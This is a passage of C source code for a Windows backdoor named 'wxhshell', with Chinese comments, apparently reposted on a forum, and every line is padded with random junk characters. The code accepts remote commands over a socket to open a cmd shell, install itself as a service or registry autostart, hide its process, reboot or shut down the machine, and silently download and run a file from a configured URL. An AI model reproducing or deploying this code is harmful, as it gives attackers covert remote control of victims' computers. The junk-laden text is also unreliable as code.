  else { K.G$]H  
=. y*_Ja  
    switch(cmd[0]) { 2<&Bw2  
  -p-B2?)A  
  // 帮助 `X,yM-(  
  case '?': { rC:?l(8ng3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L,d LE-L  
    break; TI9UXa:V\  
  } w ;daC(:  
  // 安装 hYQ_45Z*?  
  case 'i': { *A}cL  
    if(Install()) g }laG8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); st"{M\.p  
    else Oz|K8p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79\Jx iSB  
    break; ?JV|dM  
    } 6"c1;P!4   
  // 卸载 'Dvv?>=&  
  case 'r': { mh<=[J,%p  
    if(Uninstall()) eI1GXQ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aNyvNEV3C  
    else ^xf<nNF:p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); axHK_1N{  
    break; ]$U xCu  
    } liR ?  
  // 显示 wxhshell 所在路径 :K\mN/ x  
  case 'p': { O62b+%~F  
    char svExeFile[MAX_PATH]; pV6d Id  
    strcpy(svExeFile,"\n\r"); K1V#cB WO  
      strcat(svExeFile,ExeFile); {;2vmx9  
        send(wsh,svExeFile,strlen(svExeFile),0); ]"c+sMW  
    break; h^ -. ]Y  
    } 2+Px'U\  
  // 重启 jBaB@LO9G  
  case 'b': { :'aAZegQY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y9#$O(G  
    if(Boot(REBOOT)) /-6S{hl9Ne  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3/*fH98  
    else { DzQ1%!  
    closesocket(wsh); Cf B.ZT  
    ExitThread(0); 9h/>QLx  
    } P}.7Mehf  
    break; AxxJk"v'y  
    } .^$YfTabq  
  // 关机 JQ :Ri  
  case 'd': { E;21?`x5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #,{+3Y&5-+  
    if(Boot(SHUTDOWN)) ^m_yf|D$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm7;ieMfr  
    else { H:p Z-v*  
    closesocket(wsh); fYE(n8W3  
    ExitThread(0); /6O??6g  
    } 1FtM>&%4  
    break; uxg9yp@|  
    } X0 -IRJ[  
  // 获取shell dD<fn9t  
  case 's': { TO2c"7td  
    CmdShell(wsh); v^ d]r Sm  
    closesocket(wsh); Jc)^49Rf  
    ExitThread(0); U/lM\3v/e  
    break; nA?Hxos  
  } zrVC8Wb  
  // 退出 6h3HDFS7s  
  case 'x': { :';L/x>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?Qb<-~~ j1  
    CloseIt(wsh); @\&m+;6  
    break; smG>sEp2  
    } _2btfY1U  
  // 离开 LQnkcV  
  case 'q': { 10#oG{ 9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +.y .Mp  
    closesocket(wsh); \D>$aLO*?  
    WSACleanup(); MxzLK%am  
    exit(1); Knhp*V?  
    break; ?^:h\C^a"  
        } &D%(~|'  
  } 0J.dG/I%  
  } zi~5l#I  
:b[`  v  
  // 提示信息 H A}f,),G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,3I^?5  
} $./bjV%  
  } oJKa"H-jL  
"m{,~'x  
  return; 7VK}Dy/Vvn  
} .oEmU+  
[P |[vWO  
// shell模块句柄 RFh"&0[  
int CmdShell(SOCKET sock) uS&| "*pR  
{ \, !Q Jp4  
STARTUPINFO si; \.XLcz  
ZeroMemory(&si,sizeof(si)); Q4t(@0e}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8 i&_Jgmr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y-ux7F{=z  
PROCESS_INFORMATION ProcessInfo; +.RKi !  
char cmdline[]="cmd"; ] 4+s$rG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9;yn}\N `  
  return 0; 74<!&t  
} PNW \*;j  
TwyM\9l7  
// 自身启动模式 'gQidf  
int StartFromService(void) EL3|u64GO  
{ p2PY@d}}.  
typedef struct q.Nweu!jQ  
{ tU"raP^ =  
  DWORD ExitStatus; 4[ryKPa,  
  DWORD PebBaseAddress; Cw5%\K$=  
  DWORD AffinityMask; o`khz{SU:  
  DWORD BasePriority; hVj NZ  
  ULONG UniqueProcessId; y80ykGPT\&  
  ULONG InheritedFromUniqueProcessId; _w@qr\4i=  
}   PROCESS_BASIC_INFORMATION; "QoQ4r<|  
3cj3u4y  
PROCNTQSIP NtQueryInformationProcess; !? ^h;)a  
W"L&fV+3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JcJmds  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~_9"3,~o5  
(2?G:+C 7  
  HANDLE             hProcess; W:i?t8y\y  
  PROCESS_BASIC_INFORMATION pbi; X5YiFLH>y\  
ThW,Y" l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 4 LI5T  
  if(NULL == hInst ) return 0; *zO&N^X.4  
cYNJhGY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,? E&V_5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9iN.3/T8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HG/p$L*  
=TR,~8Z|  
  if (!NtQueryInformationProcess) return 0; w",? Bef  
G ;?qWB,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Lw1T 4n  
  if(!hProcess) return 0; 4Z[V uQng  
K[ .JlIP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4eVI},  
bIt=v)%$  
  CloseHandle(hProcess); 4LI0SwD#^/  
Dc~,D1xWj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 66snC{g U  
if(hProcess==NULL) return 0; \EoX8b}$b0  
[fu!AIQs  
HMODULE hMod; 4 ;Qlu  
char procName[255]; A5#y?Aq  
unsigned long cbNeeded; v"+k~:t*  
XwM611  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ujW1+Oj=~  
fpM #XFj  
  CloseHandle(hProcess); o/ [  
A`O<6   
if(strstr(procName,"services")) return 1; // 以服务启动 +.[\g|G  
_9:@Vl]Q@  
  return 0; // 注册表启动 \^*< y-jL  
} /Tz85 [%6  
e2CV6F@a  
// 主模块 Z.Rb~n&  
int StartWxhshell(LPSTR lpCmdLine) c*\<,n_  
{ b7C e%Br  
  SOCKET wsl; 9?+9UlJ7K  
BOOL val=TRUE; mzL[/B#>M  
  int port=0; ]O:M$ $  
  struct sockaddr_in door; ps1YQ3Ep&  
L{ gE'jCC  
  if(wscfg.ws_autoins) Install(); ,xJrXPW  
rl:KJ\*D  
port=atoi(lpCmdLine); g1DmV,W-Q  
T+"f]v  
if(port<=0) port=wscfg.ws_port; 8F;>5i  
zIQzmvf  
  WSADATA data; K0+ ;b u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "cho }X  
lD;'tqaC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F-n"^.7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]pTvMom$6  
  door.sin_family = AF_INET; #i QX 6WF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); crA :I"I  
  door.sin_port = htons(port); QhGXBM  
`ia %)@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )"@t6.  
closesocket(wsl); y_F}s9wj  
return 1; ?4PQQd  
} {I%y;Aab8  
_X5_ez^/=  
  if(listen(wsl,2) == INVALID_SOCKET) { .R 44$F  
closesocket(wsl); t[.W$1=  
return 1; U` R;P-  
} !7H6i#g*  
  Wxhshell(wsl); zLjgCS<7  
  WSACleanup(); g+q@i{Yn  
]XUl@Y.   
return 0; r$)$n&j  
U+]Jw\\l  
} ^. X[)U  
T!q_/[i~7  
// 以NT服务方式启动 o|S)C<w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <MD;@_Nz\  
{ ru.5fQ U  
DWORD   status = 0; p(3sgY1  
  DWORD   specificError = 0xfffffff; _[Gb)/@mM  
' |K.k6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GA^mgm"O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y<r}"TAf-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uku5wPS  
  serviceStatus.dwWin32ExitCode     = 0; :jNYP{Br  
  serviceStatus.dwServiceSpecificExitCode = 0; vM0_>1nN  
  serviceStatus.dwCheckPoint       = 0; V: p)m&y6  
  serviceStatus.dwWaitHint       = 0; B5=3r1Ly  
=(U/CI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K\=8eg93Z  
  if (hServiceStatusHandle==0) return; -R+zeu(e'  
Q49BU@xX  
status = GetLastError(); }*;EFR6'  
  if (status!=NO_ERROR) (*^DN{5  
{ [$:,-Q@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MB$a82bY  
    serviceStatus.dwCheckPoint       = 0; a#(U2OP  
    serviceStatus.dwWaitHint       = 0; c;!g  
    serviceStatus.dwWin32ExitCode     = status; Vb6K:ZnF  
    serviceStatus.dwServiceSpecificExitCode = specificError; #;j9}N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i&tsYnP2  
    return; 4_Rdp`x#J  
  } n`5WXpz4;  
w-FnE}"l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ySX/=T:<;  
  serviceStatus.dwCheckPoint       = 0; XSD%t8<LO  
  serviceStatus.dwWaitHint       = 0; xe:' 8J6L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FUTn  
} #qL9{P<}  
n E :'Zxj  
// 处理NT服务事件,比如:启动、停止 (9.yOc4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cK}Pf+r>  
{ {Bs+G/?o/  
switch(fdwControl) O8RzUg&  
{ xEoip?O?7F  
case SERVICE_CONTROL_STOP: r#h {$iW  
  serviceStatus.dwWin32ExitCode = 0; -ut=8(6&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =:K@zlO:  
  serviceStatus.dwCheckPoint   = 0; ofCVbn  
  serviceStatus.dwWaitHint     = 0; Lo3-X  
  { qe?Ggz3p.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h)B!L Ar  
  } lSCY5[?  
  return; Z] {@H  
case SERVICE_CONTROL_PAUSE: JLUms  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i&F~=Q`  
  break; fGO*% )  
case SERVICE_CONTROL_CONTINUE: Z;*`f d?8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pcpxe&S  
  break; kyAs'R @z  
case SERVICE_CONTROL_INTERROGATE: oI$V|D3 9  
  break; RK)l8c}  
}; 2ij/N%l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U>3 >Ex  
} .ev\M0Dt  
{visv{R<  
// 标准应用程序主函数 }u^:MI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ru7L>(Njs  
{ Yf (im  
HTNA])G  
// 获取操作系统版本 F ?mA1T>x  
OsIsNt=GetOsVer(); 9/46%=&]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d=n h  
`QLowna  
  // 从命令行安装 sFx$>:$  
  if(strpbrk(lpCmdLine,"iI")) Install(); %Rn:G K  
 z\$;'  
  // 下载执行文件 |0w~P s  
if(wscfg.ws_downexe) { 59MR|Jt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cju@W]!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 32KR--mn%  
} 9S"N4c>  
.HDebi  
if(!OsIsNt) { "o==4?*L  
// 如果时win9x,隐藏进程并且设置为注册表启动 =tq7z =k  
HideProc(); L w*1 .~  
StartWxhshell(lpCmdLine); {{zua- F  
} r`>~Lp`  
else J[+Tj @n'  
  if(StartFromService()) TAAR'Jz S  
  // 以服务方式启动 a@k.$  
  StartServiceCtrlDispatcher(DispatchTable); 2VMX:&3 5J  
else lxOqs:b  
  // 普通方式启动 ?1DUNZ6  
  StartWxhshell(lpCmdLine); wz@/5c/u  
8>v7v&Bh|  
return 0; !h/dZ`#  
}
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只看该作者 1 发表于: 2006-10-10
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